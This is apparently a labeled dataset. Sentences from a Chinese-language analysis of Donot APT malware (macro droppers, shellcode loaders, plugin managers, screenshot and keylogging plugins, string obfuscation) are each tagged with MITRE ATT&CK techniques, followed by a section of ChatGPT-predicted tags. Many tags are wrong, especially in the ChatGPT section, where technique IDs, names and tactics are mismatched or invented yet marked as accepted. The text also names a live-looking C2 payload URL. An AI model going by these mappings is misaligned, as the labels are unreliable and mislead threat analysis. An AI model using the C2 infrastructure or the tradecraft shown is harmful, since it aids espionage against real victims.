Victim id 从 Nsget 目录下的 Uwn.txt 中获取，如果该文件不存在则重新生成。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[['malware', 'Victim id']]	1	[]
值得注意的是，插件管理器解密 Uwn.txt 内容所使用的 AES 密钥与 iv 和下载器组件相同，而发送信标消息时使用另一套 AES 密钥和 iv 加密 victim id。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1573', 'technique': '加密通道'}]	[]	1	[0]
如果获取到 C2 的响应消息则进行下一步操作，否则休眠 30s，进入下一次循环。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[]
下载相应组件时进行校验	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105',	[]	1	[0]

	'technique': '工具向内传输'}]			
下载的插件组件保存在"C:\Users\[user]\AppData\Local\Nsget\Updates"目录中，获取后续组件的 URL 如下：	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
指令代码通过 stoi 由字符串转换为整型数，然后分发。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]	[]	3	[0]
检查 Updates 目录下是否存在相应插件，若不存在则从 C2 服务器下载，加载插件 DLL，调用指定的导出函数	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
首先执行插件禁用操作，然后从 Updates 目录删除 DLL 文件	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
首先执行插件删除操作，再执行插件启动操作（启动时因为插件不存在会从 C2 服务器下载）	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
将新的插件管理器保存到 Updates 目录下，释放 alex.bat，通过设置计划任务进行更新，同时设置循环退出标志	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
该 bat 脚本将新的插件管理器复制到 Updates 的上层目录 Nsget 中，然后删除原文件，同时删除名为"Windows"的计划任务。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]

Copy C:\Users\[user]\AppData\Local\Nsget\Updates\[插件名称] C:\Users\[user]\AppData\Local\Nsget	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1547.001', 'technique': '注册表 Run 键值启动目录'}]	[]	1	[]
接着设置名为"Windows"的计划任务，该计划任务就是用于执行释放的 alex.bat。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
然后设置另一个计划任务"WindowsMainHawk"，执行新插件管理器的导出函数 StConectert。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
旧插件管理器在退出 while 循环后，同下载器 DLL 一样，会执行自删除操作。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
该插件的功能为截屏回传，主体功能在函数 sub_10006D10 中实现，主要代码如下。	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
截屏通过模拟按下截屏键完成。	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1056.001', 'technique': '键盘记录'}]	[]	1	[]
截屏文件保存在创建的目录 "C:\Users\[user]\AppData\Local\Nsget\srt\"中，以生成的 GUID 命名。	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1113', 'technique': '截屏'}]	[]	1	[]
截屏数据首先以 jpg 后缀名直接保存在磁盘上，然后加密处理得到同名的 upr 后缀文件，原 jpg 文件被删除。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]	[]	3	[]

然后将 srt 目录中 upr 文件数据回传到 C2 服务器，回传 URL 如下：	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
在样本关联过程中，我们发现了一种功能更为简单的插件下载器 DLL 组件，该组件通过宏文档加 shellcode 的方式植入，样本信息如下。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
创建计划任务调用复制后 DLL 的另一个导出函数 rgbrgbbgr。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
而另一个导出函数 rgbrgbbgr 会依次检查插件保存目录"C:\ProgramData\Winstom\Dnt"下是否存在 Kyingert.dll, tr2201dcv.dll, SSrtfgad.dll 三个插件，如果不存在则从 C2 服务器下载，然后调用插件 DLL 的 St 函数启动插件。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[['malware', 'rgbrgbbgr']]	1	[0]
键盘记录并回传	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1056.001', 'technique': '键盘记录'}]	[]	1	[0]
收集当前用户 Desktop, Documents, Downloads 目录下特定后缀的文件信息并回传，包括.doc, .xls, .ppt, .pdf, .rtf 等	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
截屏并回传	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1113', 'technique': '截屏'}]	[]	1	[0]
3 个插件回传信息的 URL 相同，如下所示：	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
Donot 也在攻击活动中使用 EXE 组件作为下载器获取后续，近期出现的相关样本信息如下。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
VT 上传时间	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1124', 'technique': '系统时间发现'}]	[]	1	[]

宏文档 1（MD5: 171c011571f94ea2f5c928bdf5d560dc）的 VBA 使用大量注释填充，整理代码后，可以看到样本首先释放 pkhfg.bat，用于创建 3 个计划任务，为执行后续组件做铺垫。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
接着再释放 tbreah.bat 文件，该文件负责从 dfer.cab 文件解压出下载器组件 dfer.exe。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
该 bat 文件通过上面创建的名为"fghru"计划任务执行，执行完毕删除该计划任务。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[]
宏文档 2 和 3 的 VBA 代码相似，因此以宏文档 2（MD5: 79cff3bc3cbe51e1b3fecd131b949930）为例进行说明。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
与之前不同，宏代码的执行时机从文档打开(Open)换成了关闭前(BeforeClose)。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
直接调用 Schedule.Service 接口创建计划任务，不再通过释放 bat 文件完成。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
3 个宏文档释放的 EXE 组件代码基本一致，功能较为简单，作用是从 C2 下载两个后续组件，通过初值为 1 的全局变量控制组件下载顺序，其中的 bat 文件对应在上述 VBA 代码中设置计划任务的文件路径。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
整理上面宏文档涉及的 EXE 组件信息如下。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
宏文档 MD5	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
宏文档 MD5	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]

宏文档 MD5	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
Donot 在去年年中就借助宏文档释放压缩包的方式植入恶意软件，并且至少从 2022 年 9 月起在该植入流程中使用 EXE 组件。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1204.002', 'technique': '恶意文件'}]	[]	1	[]
字符串加密	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]	[]	3	[0, 1]
Donot 在 PE 类攻击组件中经常用各类加密方式对关键字符串加密，除了简单的按字节加减固定数值，单重 01 变换外，我们发现近期出现的 DLL 组件经常使用双重 01 变换和自定义多层加密隐藏关键字符串，并且有时还会使用两种加密方式对不同字符串进行处理。	[{'taid': 'TA0040', 'tactic': '恶劣影响', 'tid': 'T1486', 'technique': '数据加密'}]	[]	1	[]
在这类加密方式中，字符串的 ASCII 码按字节转换为二进制形式，并以 01 字符串格式存在于样本中。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]	[]	3	[0]
自定义多层加密	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027',	[]	3	[0]

	'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]			
采用这类加密方式的样本在恢复原始字符串时，会在 base64 解码和 AES 解密后，对解密数据再依次进行如下操作：（1）按字节减 1；	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
（3）字符串逆序。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]	[]	3	[0]
(宏文档)	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]

ChatGPT Infer Result

text	tts	ttps_pred_count	ttps_accept_idx
该组织主要针对政府机构、国防军事部门以及商务领域重要人士实施网络间谍活动，受害者包括中国以及巴基斯坦、斯里兰卡等南亚地区国家。	[{'taid': 'TA0001', 'tactic': '情报收集', 'tid': 'T0418', 'technique': '搜索引擎识别'}]	1	[0]

Donot 组织的攻击活动从去年年末就保持着较高的频率，这个趋势一直延续到今年	[{'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1065', 'technique': '计划任务'}]	1	[0]
我们还捕获到该组织以克什米尔地区相关文档为诱饵的攻击样本[1]。	[{'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_VBA'}]	1	[0]
在对近期捕获的 Donot 样本进行梳理后，我们发现该组织的主要攻击流程仍保持着一贯的风格，但攻击者也在尝试不同的恶意代码植入手段，变换着攻击组件的代码细节，因此本文将对 Donot 组织近期攻击手法做一个简单的汇总。	[{'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1055', 'technique': '进程注入'}, {'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1547', 'technique': 'ARP 欺骗'}, {'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1218', 'technique': '数字证书高级持久性'}, {'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1093', 'technique': 'DLL 劫持'}, {'taid': 'TA0003', 'tactic': '持久性',	7	[0, 1, 2, 3, 4, 5, 6]

	'tid': 'T1112', 'technique': 'Regsvr32'}, {'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_VBA'}, {'taid': 'TA0001', 'tactic': '情报收集', 'tid': 'T1247', 'technique': '网络分享驱动器'}]		
Donot 常通过携带宏的文档执行 shellcode 下载后续 DLL 组件，进一步下载诸如木马插件管理器和木马插件的恶意 DLL。	[{'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_VBA'}, {'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1203', 'technique': '宏指令'}]	2	[0, 1]
在以克什米尔地区相关文档为诱饵的攻击样本中，攻击者则直接通过自解压 rar 压缩包投递下载器 DLL 组件。	[{'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_VBA'}, {'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1105', 'technique': '下载并执行'},	3	[0, 1, 2]

	{'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1027', 'technique': '自解压功能利用'}]		
此外，在某些攻击活动中，Donot 组织还使用 EXE 组件，借助宏文档直接释放压缩包，解压出其中的 EXE 组件下载后续。	[{'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_VBA'}, {'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1105', 'technique': '下载并执行'}]	2	[0, 1]
Donot 使用的宏文档类样本其中部分文件信息如下表所示。	[{'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_VBA'}]	1	[0]
从上面可以看出，xls 和 docx 类文档分别具有一致的创建时间，说明这些攻击样本可能基于相同的原始文档生成。	[{'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_VBA'}, {'taid': 'TA0001', 'tactic': '情报收集', 'tid': 'T1201', 'technique': '操作系统日志分析'}]	2	[0, 1]

VBA 代码以字母 ijl 大小写生成的名称对变量名和函数名进行混淆，调用 NtAllocateVirtualMemory 分配内存，通过 WideCharToMultiByte 函数将编码后的 shellcode 按照文档使用的字符编码方式进行解码，然后调用 EnumUILanguages 函数执行 shellcode。具体解码执行的 shellcode 根据系统位数而定。	[{'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_VBA'}, {'taid': 'TA0002', 'tactic': '凭证访问', 'tid': 'T1134', 'technique': 'Office 程序集成'}]	2	[0, 1]
以 64 位版本的 shellcode 为例，首先进行自解密操作，解密方式为按字节取反再异或。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1027', 'technique': '自解压 功能利用'}]	1	[0]
调用 urlmon.dll 模块的 URLDownloadToCacheFileA 函数下载后续，后续 URL 如下：	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '下载基 础设施'}]	1	[0]
获取的第二阶段 shellcode 首先按字节异或进行自解密，然后导入相关 API。调用 Wow64DisableWow64FsRedirection 关闭文件系统重定向。通过 GetLocalTime 获取系统时间，如果当前时间大于硬编码的日期则 shellcode 结束运行。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1027', 'technique': '自解压 功能利用'}, {'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1112', 'technique': '带有自 删除功能 的恶意软 件'}]	2	[0, 1]

依次检查各个杀软驱动文件在"C:\Windows\System32\drivers"目录下是否存在。如果某个杀软驱动存在，则根据当前日期是否大于相应内置时间点决定给该杀软有关的标记变量赋值：小于等于该时间点赋值为 1，大于则为 2。	[{'taid': 'TA0005', 'tactic': '防御绕过', 'tid': 'T1144', 'technique': '驱动程序注入'}]	1	[0]
无任何杀软的情况下，调用 URLDownloadToFileA 下载后续载荷，保存为当前用户 temp 目录下的 Unincored.dll 文件，即"%tmp%\Unincored.dll"。获取后续的 URL 为：	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '下载基础设施'}]	1	[0]
打开下载文件，将文件前 4 字节修改为"4D 5A 90 00"，修复 PE 文件头部。LoadLibraryA 加载该 DLL，GetProcAddress 获取指定导出函数地址（tripoliro），调用该导出函数。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注入'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1106', 'technique': '代码注入'}]	2	[0, 1]
在有杀软存在的情况下，如果相应标记变量为 2，则直接通过执行 int3 中断或者其他指令触发中断或异常，终止 shellcode 运行。如果标记变量为 1，某些杀软对应的 shellcode 执行情况与无杀软时一致；而在另一些杀软存在时，会加载 bcrypt.dll，将后续 shellcode 复制到 bcrypt.dll 映射的内存中执行。	[{'taid': 'TA0005', 'tactic': '防御绕过', 'tid': 'T1052', 'technique': '代码修改执行'}]	1	[0]
宏代码启动的 32 位版本 shellcode 与 64 位基本一致，不过下载后续 shellcode 和 DLL 载荷的 URL 有所不同。	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '下载基础设施'}]	1	[0]

后续载荷类型 URL Shellcode http://orangevisitorss.buzz/QcM8y7FsH12BUbxY/XNJxFhZdMSJzq1tRyF47ZXLIdqNGRqiHQQHL6DJIjI2IoxUA.ico DLL http://orangevisitorss.buzz/QcM8y7FsH12BUbxY/XNJxFhZdMSJzq1tRyF47ZXLIdqNGRqiHQQHL6DJIjI2IoxUA.mp3	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '下载基础设施'}]	1	[0]
该自解压文件使用文件夹图标进行伪装，运行后在 temp 目录下释放，通过 rundll32.exe 执行其中 DLL 组件的导出函数，并打开压缩包中包含 PDF 诱饵文档的文件夹“Kashmir”。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注入'}, {'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_VBA'}]	2	[0, 1]
以上面 SFX 样本植入的 DLL 组件攻击流程为例进行分析。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注入'}]	1	[0]
使用的下载器 DLL 信息如下。 文件名 dn2272iosUp.dll MD5 07a3c19bc67c5f44c888ce75d4147ecf 文件类型 pe32 dll 文件大小 296960 字节 编译时间 2023-01-10 14:16:06 UTC	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注入'}, {'taid': 'TA0002', 'tactic': '控制', 'tid': 'T1059', 'technique': '计划任务'}]	2	[0, 1]

下载器 DLL 一般有两个导出函数：其中一个导出函数通过设置计划任务启动另一个导出函数；而另一个导出函数则向 C2 服务器回传收集的主机信息，下载并执行作为插件管理器的 DLL 组件。			
SFX 文件调用 dn2272iosUp.dll 的导出函数 StTskloipy。该函数将 DLL 当前文件路径经 AES 加密后写入"C:\Users\[user]\AppData\Local\windin.txt"。如果该 DLL 在当前用户的 temp 目录中不存在，则复制到 temp 目录下。然后通过 COM 接口设置计划任务调用另一个导出函数 SDtuiopnhukm。	[{'taid': 'TA0002', 'tactic': '控制', 'tid': 'T1059', 'technique': '计划任务'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注入'}, {'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '下载基础设施'}]	3	[0, 1, 2]
若下载成功，将 WingMndre.dll 保存在之前创建的 Nsget 目录下。删除导出函数 StTskloipy 执行时释放的 windin.txt 文件，设置计划任务调用 WingMndre.dll 的 StConectert 导出函数。因为该计划任务与运行导出函数 SDtuiopnhukm 时设置的计划任务同名（"OneDriveUpdaton"），相当于更改原计划任务的执行内容。	[{'taid': 'TA0002', 'tactic': '控制', 'tid': 'T1059', 'technique': '计划任务'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注	3	[0, 1, 2]

	入'}, {'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '下载基础设施'}]		
在 Nsget 目录下释放 Uwn.txt 文件，保存 AES 加密后的 victim id。然后通过 CreateProcessW 调用如下格式化字符串，删除当前 DLL 在磁盘上的文件。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1030', 'technique': '删除服务'}, {'taid': 'TA0002', 'tactic': '恶意文件', 'tid': 'T1107', 'technique': '程序卸载'}]	2	[0, 1]
后续组件 WingMndre.dll 功能为插件管理器，基本信息如下。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注入'}]	1	[0]
导出函数 StConectert 首先调用的函数 sub_100112D0 主体部分是一个 while 循环，循环开始首先向 C2 服务器发送 victim id 作为信标消息。Victim id 从 Nsget 目录下的 Uwn.txt 中获取，如果该文件不存在则重新生成。值得注意的是，插件管理器解密 Uwn.txt 内容所使用的 AES 密钥与 iv 和下载器组件相同，而发送信标消息时使用另一套 AES 密钥和 iv 加密 victim id。发送信标消息的 URL 为：	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '命令与控制'}]	1	[0]
如果获取到 C2 的响应消息则进行下一步操作，否则休眠 30s，进入下一次循环。响应消息用"|"分隔，每一部分表示针对某一插件组件（包括插件管理器自身）的具体操作。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1028', 'technique': '软件包执行'}, {'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1105',	2	[0, 1]

	'technique': '远程文件拷贝'}]		
格式与之前 Donot 的攻击活动[2]类似，不过这次响应消息没保存为磁盘文件，而是直接在内存中处理。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1105', 'technique': '远程文件拷贝'}]	1	[0]
下载的插件组件保存在"C:\Users\[user]\AppData\Local\Nsget\Updates"目录中，获取后续组件的 URL 如下：	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '命令与控制'}]	1	[0]
更新插件管理器时，释放的 alex.bat 也在 Updates 目录下，内容如下。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1059', 'technique': '计划任务'}, {'taid': 'TA0002', 'tactic': '恶意文件', 'tid': 'T1107', 'technique': '程序卸载'}, {'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1071', 'technique': '命令与控制'}]	3	[0, 1, 2]
旧插件管理器在退出 while 循环后，同下载器 DLL 一样，会执行自删除操作。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1030', 'technique': '删除服务'}, {'taid': 'TA0002',	2	[0, 1]

	'tactic': '恶意文件', 'tid': 'T1107', 'technique': '程序卸载'}]		
从 WingMndre.dll 捕获到一个名为 SSrtuioUpd.dll 的插件，基本信息如下。	[{'taid': 'TA0002', 'tactic': '收集信息', 'tid': 'T1082', 'technique': '系统信息发现'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注入'}]	2	[0, 1]
该插件的功能为截屏回传，主体功能在函数 sub_10006D10 中实现，	[{'taid': 'TA0002', 'tactic': '收集信息', 'tid': 'T1113', 'technique': '屏幕捕获'}]	1	[0]
然后将 srt 目录中 upr 文件数据回传到 C2 服务器，回传 URL 如下：	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '命令与控制'}]	1	[0]
以上两个样本功能一致，因此以 32 位版本为例进行说明。导出函数 Rfvgyrty 复制样本自身到创建的目录"C:\Users\[user]\AppData\Local\Logo"中，名称为 difg02rf.dll。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1059', 'technique': '计划任务'}, {'taid': 'TA0002', 'tactic': '恶意文件', 'tid': 'T1105', 'technique	2	[0, 1]

	': '远程文件拷贝'}]		
而另一个导出函数 rgbrgbbgr 会依次检查插件保存目录"C:\ProgramData\Winstom\Dnt"下是否存在 Kyingert.dll, tr2201dcv.dll, SSrtfgad.dll 三个插件，如果不存在则从 C2 服务器下载，然后调用插件 DLL 的 St 函数启动插件。获取插件的 URL 如下：	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1043', 'technique': '恶意软件远程命令执行'}, {'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '命令与控制'}]	2	[0, 1]
三个插件的功能分别如下：	[{'taid': 'TA0002', 'tactic': '收集信息', 'tid': 'T1056', 'technique': '输入捕获'}, {'taid': 'TA0002', 'tactic': '收集信息', 'tid': 'T1002', 'technique': '数据发现'}, {'taid': 'TA0002', 'tactic': '收集信息', 'tid': 'T1113', 'technique': '屏幕捕获'}]	3	[0, 1, 2]
3 个插件回传信息的 URL 相同，如下所示：	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '命令与控制'}]	1	[0]
Donot 也在攻击活动中使用 EXE 组件作为下载器获取后续，近期出现的相关样本信息如下。	[{'taid': 'TA0002', 'tactic': '	1	[0]

	传输', 'tid': 'T1105', 'technique': '远程文件拷贝'}]		
宏文档 1（MD5: 171c011571f94ea2f5c928bdf5d560dc）的 VBA 使用大量注释填充，整理代码后，可以看到样本首先释放 pkhfg.bat，用于创建 3 个计划任务，为执行后续组件做铺垫。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1053', 'technique': '计划任务'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1171', 'technique': 'DLL 劫持'}]	2	[0, 1]
接着再释放 tbreah.bat 文件，该文件负责从 dfer.cab 文件解压出下载器组件 dfer.exe。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1566', 'technique': '组件对象文件下载'}]	1	[0]
宏文档 2 和 3 的 VBA 代码相似，因此以宏文档 2（MD5: 79cff3bc3cbe51e1b3fecd131b949930）为例进行说明。与之前不同，宏代码的执行时机从文档打开(Open)换成了关闭前(BeforeClose)。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1053', 'technique': '计划任务'}]	1	[0]
释放压缩包 djkd.zip 后，直接在代码中解压缩，并将解压后的文件重命名为之前计划任务中设置的路径名 mnvc.exe，推测攻击者试图以这种修改后缀名的方式躲避杀软对解压文件的查杀。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1560', 'technique': 'ZIP 压缩文件'}]	1	[0]
3 个宏文档释放的 EXE 组件代码基本一致，功能较为简单，作用是从 C2 下载两个后续组件，通过初值为 1 的全局变量控制组件下载顺序，其中的 bat 文件对应在上述 VBA 代码中设置计划任务的文件路径。	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1105', 'technique': '远程文件拷贝'}]	1	[0]

下载路径 1	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1105', 'technique': '远程文件拷贝'}]	1	[0]
下载路径 2	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1105', 'technique': '远程文件拷贝'}]	1	[0]
遗憾的是我们未能获取到上述攻击样本的后续，EXE 组件攻击活动与之前友商披露的 Donot 活动一致[3]。	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1105', 'technique': '远程文件拷贝'}]	1	[0]
Donot 在 PE 类攻击组件中经常用各类加密方式对关键字符串加密，除了简单的按字节加减固定数值，单重 01 变换外，我们发现近期出现的 DLL 组件经常使用双重 01 变换和自定义多层加密隐藏关键字符串，并且有时还会使用两种加密方式对不同字符串进行处理。	[{'taid': 'TA0002', 'tactic': '防御漏洞', 'tid': 'T1027', 'technique': '自定义加密'}]	1	[0]
在这类加密方式中，字符串的 ASCII 码按字节转换为二进制形式，并以 01 字符串格式存在于样本中。	[{'taid': 'TA0002', 'tactic': '数据防御', 'tid': 'T1555', 'technique': '隐藏文件在另一个载体中'}]	1	[0]
如果只经过一次这样的转换，就是单重 01 变换。	[{'taid': 'TA0002', 'tactic': '数据防御', 'tid': 'T1555', 'technique': '隐藏文件在另一个载体中'}]	1	[0]

在 2022 年底出现的 Donot 样本中，开始出现双重 01 变换，经过一轮转换得到的 01 字符串再以同样的方式进行转换，这意味着原始字符串的每个字符需要用 64 个字符长度的 01 字符串表示。	[{'taid': 'TA0002', 'tactic': '数据防御', 'tid': 'T1555', 'technique': '隐藏文件在另一个载体中'}]	1	[0]
采用这类加密方式的样本在恢复原始字符串时，会在 base64 解码和 AES 解密后，对解密数据再依次进行如下操作：（1）按字节减 1；（2）每相邻两字节交换位置；（3）字符串逆序。	[{'taid': 'TA0002', 'tactic': '数据防御', 'tid': 'T1555', 'technique': '隐藏文件在另一个载体中'}]	1	[0]
